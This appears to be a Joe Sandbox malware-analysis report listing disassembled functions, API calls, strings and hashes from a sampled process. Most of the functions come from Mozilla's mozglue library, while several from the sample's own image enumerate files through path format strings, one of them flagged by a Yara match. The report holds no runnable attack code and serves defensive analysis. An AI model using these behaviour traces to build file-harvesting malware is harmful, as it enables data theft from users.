getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CA95516
GetCurrentThreadId.KERNEL32 ref: 6CA9556A
AcquireSRWLockExclusive.KERNEL32(6CB0F4B8), ref: 6CA95577
moz_xmalloc.MOZGLUE(00000070), ref: 6CA95585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CA95590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CA955E6
ReleaseSRWLockExclusive.KERNEL32(6CB0F4B8), ref: 6CA95606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA95616

Part of subcall function 6CABAB89: EnterCriticalSection.KERNEL32(6CB0E370,?,?,?,6CA834DE,6CB0F6CC,?,?,?,?,?,?,?,6CA83284), ref: 6CABAB94
Part of subcall function 6CABAB89: LeaveCriticalSection.KERNEL32(6CB0E370,?,6CA834DE,6CB0F6CC,?,?,?,?,?,?,?,6CA83284,?,?,6CAA56F6), ref: 6CABABD1

GetCurrentThreadId.KERNEL32 ref: 6CA9563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA95646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CA9567C
free.MOZGLUE(?), ref: 6CA956AE

Part of subcall function 6CAA5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAA5EDB
Part of subcall function 6CAA5E90: memset.VCRUNTIME140(6CAE7765,000000E5,55CCCCCC), ref: 6CAA5F27
Part of subcall function 6CAA5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAA5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CA956E8
GetCurrentThreadId.KERNEL32 ref: 6CA95707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CA9570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CA95729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CA9574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CA9576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CA95796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CA957B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CA957CA

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CA95724
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CA95CF9
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CA95791
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CA95D2B
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CA95D1C
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA954B9
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA954A3
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CA95766
MOZ_PROFILER_STARTUP, xrefs: 6CA955E1
MOZ_BASE_PROFILER_HELP, xrefs: 6CA95511
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CA95D24
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CA95717
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CA95749
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CA956E3
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CA95C56
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CA95AC9
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CA9584E
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CA95BBE
[I %d/%d] profiler_init, xrefs: 6CA9564E
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA9548D
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CA95D01
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CA957AE
GeckoMain, xrefs: 6CA95554, 6CA955D5
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CA957C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CA95B38

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 463d85845ca526b6ee10e243374b2f83d9d7a31731a9944e3aaa8ca8bf429139
Instruction ID: 5748f81798ac9cd8f549b543af77da116d2cad01bc8be95b96bef276355648c6
Opcode Fuzzy Hash: 463d85845ca526b6ee10e243374b2f83d9d7a31731a9944e3aaa8ca8bf429139
Instruction Fuzzy Hash: 20222274B143408FEB009F74C55A66ABBF5EF5631EF084A2DE94697B41EB348888CB53

Function 6CA96C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA96CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA96D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CA96D26

Part of subcall function 6CA9CA10: malloc.MOZGLUE(?), ref: 6CA9CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CA96D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA96D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CA96D73
free.MOZGLUE(00000000), ref: 6CA96D80
CertGetNameStringW.CRYPT32 ref: 6CA96DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CA96DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA96DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CA96DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CA96E10
CryptMsgClose.CRYPT32(00000000), ref: 6CA96E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CA96E34
CreateFileW.KERNEL32 ref: 6CA96EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CA96F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA96F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CA9709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA97103
free.MOZGLUE(00000000), ref: 6CA97153
CloseHandle.KERNEL32(?), ref: 6CA97176
__Init_thread_footer.LIBCMT ref: 6CA97209
__Init_thread_footer.LIBCMT ref: 6CA9723A
__Init_thread_footer.LIBCMT ref: 6CA9726B
__Init_thread_footer.LIBCMT ref: 6CA9729C
__Init_thread_footer.LIBCMT ref: 6CA972DC
__Init_thread_footer.LIBCMT ref: 6CA9730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CA973C2
VerSetConditionMask.NTDLL ref: 6CA973F3
VerSetConditionMask.NTDLL ref: 6CA973FF
VerSetConditionMask.NTDLL ref: 6CA97406
VerSetConditionMask.NTDLL ref: 6CA9740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CA9741A
moz_xmalloc.MOZGLUE(?), ref: 6CA9755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA97568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CA97585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA97598
free.MOZGLUE(00000000), ref: 6CA975AC

Part of subcall function 6CABAB89: EnterCriticalSection.KERNEL32(6CB0E370,?,?,?,6CA834DE,6CB0F6CC,?,?,?,?,?,?,?,6CA83284), ref: 6CABAB94
Part of subcall function 6CABAB89: LeaveCriticalSection.KERNEL32(6CB0E370,?,6CA834DE,6CB0F6CC,?,?,?,?,?,?,?,6CA83284,?,?,6CAA56F6), ref: 6CABABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6CA972C8
wintrust.dll, xrefs: 6CA972CD
(, xrefs: 6CA9768A
SHA256, xrefs: 6CA96EC0

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 764b16dfe71737caa1ad10e771be0fcd9cc0cce356b91a136134fd65b894bb79
Instruction ID: a6f33d86a5434cb395270259ad75a96c1cdf5c6c03b066aebd29b1e77a6d476c
Opcode Fuzzy Hash: 764b16dfe71737caa1ad10e771be0fcd9cc0cce356b91a136134fd65b894bb79
Instruction Fuzzy Hash: D852BCB1B103149BEB21DF24CC85BAA77F9FB55708F144199E909A7640DB30AEC8CFA1

Function 6CAC0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CAC0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CAC0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CAC0FB7
EnterCriticalSection.KERNEL32(?), ref: 6CAC0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CAC1031
LeaveCriticalSection.KERNEL32(?), ref: 6CAC10D0
EnterCriticalSection.KERNEL32(?), ref: 6CAC117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CAC1C39
EnterCriticalSection.KERNEL32(6CB0E744), ref: 6CAC3391
LeaveCriticalSection.KERNEL32(6CB0E744), ref: 6CAC33CD
LeaveCriticalSection.KERNEL32(?), ref: 6CAC3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAC3437

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6CAC3A02
Compile-time page size does not divide the runtime one., xrefs: 6CAC3946
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CAC3793
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CAC37A8
MOZ_CRASH(), xrefs: 6CAC3950
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAC3559, 6CAC382D, 6CAC3848
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CAC37D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CAC37BD
MALLOC_OPTIONS, xrefs: 6CAC35FE
<jemalloc>, xrefs: 6CAC3941, 6CAC39F1

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 0ce7e64edc34bc791cf2587b64a9a6740012e97acb63bd601b2da90d0ae5a0be
Instruction ID: ae5b5627cbfe61e5527b48f6e0547ba6f005d143e0097d8b053728e6a03976d2
Opcode Fuzzy Hash: 0ce7e64edc34bc791cf2587b64a9a6740012e97acb63bd601b2da90d0ae5a0be
Instruction Fuzzy Hash: 0C537C71B067018FD704CF29C580656BBE1BF85328F29C76DE8A99B791D771E881CB82

Function 6CAE34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE3EE2

Part of subcall function 6CAE6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CAE61DD
Part of subcall function 6CAE6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CAE622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE4157

Part of subcall function 6CAE6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CAE6250
Part of subcall function 6CAE6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAE6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAE4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAE484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAE4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAE4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAE4896
free.MOZGLUE ref: 6CAE489F

Strings

, xrefs: 6CAE4CD2

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 01e2e24fe6c18d56bf9d2c2e636a999f27bbaadd860f0f2d3d49939a40aecddd
Instruction ID: f6fe24489f8c2a839d37a260c307370855e39ccbc4d96225b72c401b9aaf502a
Opcode Fuzzy Hash: 01e2e24fe6c18d56bf9d2c2e636a999f27bbaadd860f0f2d3d49939a40aecddd
Instruction Fuzzy Hash: AFF25A74908B808FC725CF28C08469AFBF5FFC9348F158A5ED99997711DB719886CB82

Function 6CA964C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CA964DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CA964F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CA96505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CA96518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA9652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CA9671C
GetCurrentProcess.KERNEL32 ref: 6CA96724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA9672F
GetCurrentProcess.KERNEL32 ref: 6CA96759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA96764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CA96A80
GetSystemInfo.KERNEL32(?), ref: 6CA96ABE
__Init_thread_footer.LIBCMT ref: 6CA96AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA96AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA96AF7

Strings

nvd3d9wrap.dll, xrefs: 6CA96500
_etoured.dll, xrefs: 6CA964ED
nvdxgiwrap.dll, xrefs: 6CA96513
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CA96798
user32.dll, xrefs: 6CA96526
detoured.dll, xrefs: 6CA964DA

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 38f0451adec5a4497ec09fad6cd20d89989b4ebd74f80ea810762f2438023e13
Instruction ID: 1ef4a51ac8aaeb6d37fe961a78ec02a44c0ddfbe9c9af311c021f2d22d9f97af
Opcode Fuzzy Hash: 38f0451adec5a4497ec09fad6cd20d89989b4ebd74f80ea810762f2438023e13
Instruction Fuzzy Hash: 4DF1F370A152199FDB60CF64CD89BDAB7F4AF46318F184299D819A3741E731AEC4CF90

Function 005738B0 Relevance: 47.5, APIs: 21, Strings: 6, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005738CC
FindFirstFileA.KERNEL32(?,?), ref: 005738E3
lstrcat.KERNEL32(?,?), ref: 00573935
StrCmpCA.SHLWAPI(?,00580F70), ref: 00573947
StrCmpCA.SHLWAPI(?,00580F74), ref: 0057395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00573C67
FindClose.KERNEL32(000000FF), ref: 00573C7C

Strings

%s\%s, xrefs: 00573A6F
%s%s, xrefs: 00573AAD
%s\%s\%s, xrefs: 00573A4A
%s\%s, xrefs: 0057397A
PD, xrefs: 00573AA7
%s\*, xrefs: 005738C0

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*$PD
API String ID: 1125553467-970704945
Opcode ID: f9eecd91135c926b689a79649b55d14cc1a93d67e254f34d5cc8e18ae82e098e
Instruction ID: 2f47cc2254c6215c67bfbde24c1f2841ffc77c2b4c7173d2a16d9545ed7dd4b6
Opcode Fuzzy Hash: f9eecd91135c926b689a79649b55d14cc1a93d67e254f34d5cc8e18ae82e098e
Instruction Fuzzy Hash: 8DA153B2900219ABDB64DF64DC89FFE7778BF89300F048588B60D96141EB749B84DF62

Function 6CAEC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAEC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAEC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CAEC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CAEC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CAEC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAECC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CAECD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAEDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CAEDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CAEDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAEDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CAEDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CAEE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAEE432
memcpy.VCRUNTIME140(?,?,?), ref: 6CAEE472

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 4d7ccdc1fc50402880ec4a72a8a8c9cd88994261151b05ef6779bdcf758665ee
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: D6337E71E0021ACFCB14CFA8C8806EDBBF2FF89314F294269D955AB755D731A985CB90

Function 00574570 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00574580
RtlAllocateHeap.NTDLL(00000000), ref: 00574587
wsprintfA.USER32 ref: 005745A6
FindFirstFileA.KERNEL32(?,?), ref: 005745BD
StrCmpCA.SHLWAPI(?,00580FC4), ref: 005745EB
